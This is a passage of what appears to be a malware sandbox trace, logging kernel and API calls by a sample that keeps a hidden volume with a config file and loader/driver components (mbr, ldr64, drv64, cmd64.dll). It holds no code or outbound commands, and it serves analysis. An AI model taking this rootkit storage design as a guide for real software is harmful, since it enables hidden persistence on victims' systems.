[0119.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.859] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.860] IdePortDispatch () returned 0x103 [0119.860] KeWaitForMutexObject () returned 0x0 [0119.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.860] KeLeaveCriticalRegion () [0119.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.860] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.860] KeEnterCriticalRegion () [0119.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.860] KeLeaveCriticalRegion () [0119.860] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.860] KeEnterCriticalRegion () [0119.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.860] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.860] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.860] KeLeaveCriticalRegion () [0119.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.861] KeEnterCriticalRegion () [0119.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.861] ExFreePoolWithTag (P=0xfffffa8003bdb820, Tag=0x0) [0119.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.861] KeLeaveCriticalRegion () [0119.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.861] ReleaseMutex (hMutex=0xf0) returned 1 [0119.861] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.861] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.861] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.861] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.861] KeEnterCriticalRegion () [0119.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.861] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.861] IdePortDispatch () returned 0x103 [0119.861] KeWaitForMutexObject () returned 0x0 [0119.861] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.861] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.861] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.861] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.861] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.861] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.861] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.861] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.861] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.861] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.861] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.861] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.861] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.861] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.862] KeLeaveCriticalRegion () [0119.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.862] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.862] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.862] KeEnterCriticalRegion () [0119.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.862] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.862] IdePortDispatch () returned 0x103 [0119.862] KeWaitForMutexObject () returned 0x0 [0119.862] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.862] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.862] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.862] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.862] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.862] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.862] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.862] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.862] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.862] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.862] KeLeaveCriticalRegion () [0119.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.862] ReleaseMutex (hMutex=0x100) returned 1 [0119.862] Sleep (dwMilliseconds=0x2bf20) [0119.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aa4dd50, dwHighDateTime=0x1d24fa4)) [0119.869] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.869] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.869] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.869] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.869] KeEnterCriticalRegion () [0119.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.869] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.869] IdePortDispatch () returned 0x103 [0119.869] KeWaitForMutexObject () returned 0x0 [0119.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.870] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb880 [0119.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.870] KeLeaveCriticalRegion () [0119.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.870] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.870] KeEnterCriticalRegion () [0119.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.870] KeLeaveCriticalRegion () [0119.870] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.870] KeEnterCriticalRegion () [0119.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.870] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.870] IdePortDispatch () returned 0x103 [0119.870] KeWaitForMutexObject () returned 0x0 [0119.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.870] KeLeaveCriticalRegion () [0119.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.870] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.870] KeEnterCriticalRegion () [0119.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a04000 [0119.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.871] IdePortDispatch () returned 0x103 [0119.871] KeWaitForMutexObject () returned 0x0 [0119.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.871] IdePortDispatch () returned 0x103 [0119.871] KeWaitForMutexObject () returned 0x0 [0119.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.871] KeLeaveCriticalRegion () [0119.871] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.872] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.872] KeEnterCriticalRegion () [0119.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] KeLeaveCriticalRegion () [0119.872] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.872] KeEnterCriticalRegion () [0119.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9b50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] KeLeaveCriticalRegion () [0119.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.872] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.872] KeEnterCriticalRegion () [0119.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] ExFreePoolWithTag (P=0xfffffa8003bdb880, Tag=0x0) [0119.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] KeLeaveCriticalRegion () [0119.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.872] ReleaseMutex (hMutex=0xf0) returned 1 [0119.872] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.872] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.872] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.872] KeEnterCriticalRegion () [0119.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.872] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.872] IdePortDispatch () returned 0x103 [0119.872] KeWaitForMutexObject () returned 0x0 [0119.873] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.873] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.873] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.873] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.873] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.873] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0119.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.873] KeLeaveCriticalRegion () [0119.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.873] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.873] KeEnterCriticalRegion () [0119.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.873] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.873] KeLeaveCriticalRegion () [0119.873] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.873] KeEnterCriticalRegion () [0119.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.873] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.873] IdePortDispatch () returned 0x103 [0119.873] KeWaitForMutexObject () returned 0x0 [0119.873] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.873] KeLeaveCriticalRegion () [0119.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.873] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.873] KeEnterCriticalRegion () [0119.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b05000 [0119.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.874] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.874] IdePortDispatch () returned 0x103 [0119.874] KeWaitForMutexObject () returned 0x0 [0119.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.874] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.874] IdePortDispatch () returned 0x103 [0119.874] KeWaitForMutexObject () returned 0x0 [0119.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.874] KeLeaveCriticalRegion () [0119.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.875] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.875] KeEnterCriticalRegion () [0119.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] KeLeaveCriticalRegion () [0119.875] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.875] KeEnterCriticalRegion () [0119.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.875] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] KeLeaveCriticalRegion () [0119.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.875] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.875] KeEnterCriticalRegion () [0119.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0119.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] KeLeaveCriticalRegion () [0119.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.875] ReleaseMutex (hMutex=0xf0) returned 1 [0119.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.875] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.875] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.875] KeEnterCriticalRegion () [0119.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.875] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.875] IdePortDispatch () returned 0x103 [0119.875] KeWaitForMutexObject () returned 0x0 [0119.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.876] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.876] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.876] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.876] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.876] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc720 [0119.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.876] KeLeaveCriticalRegion () [0119.876] IofCompleteRequest 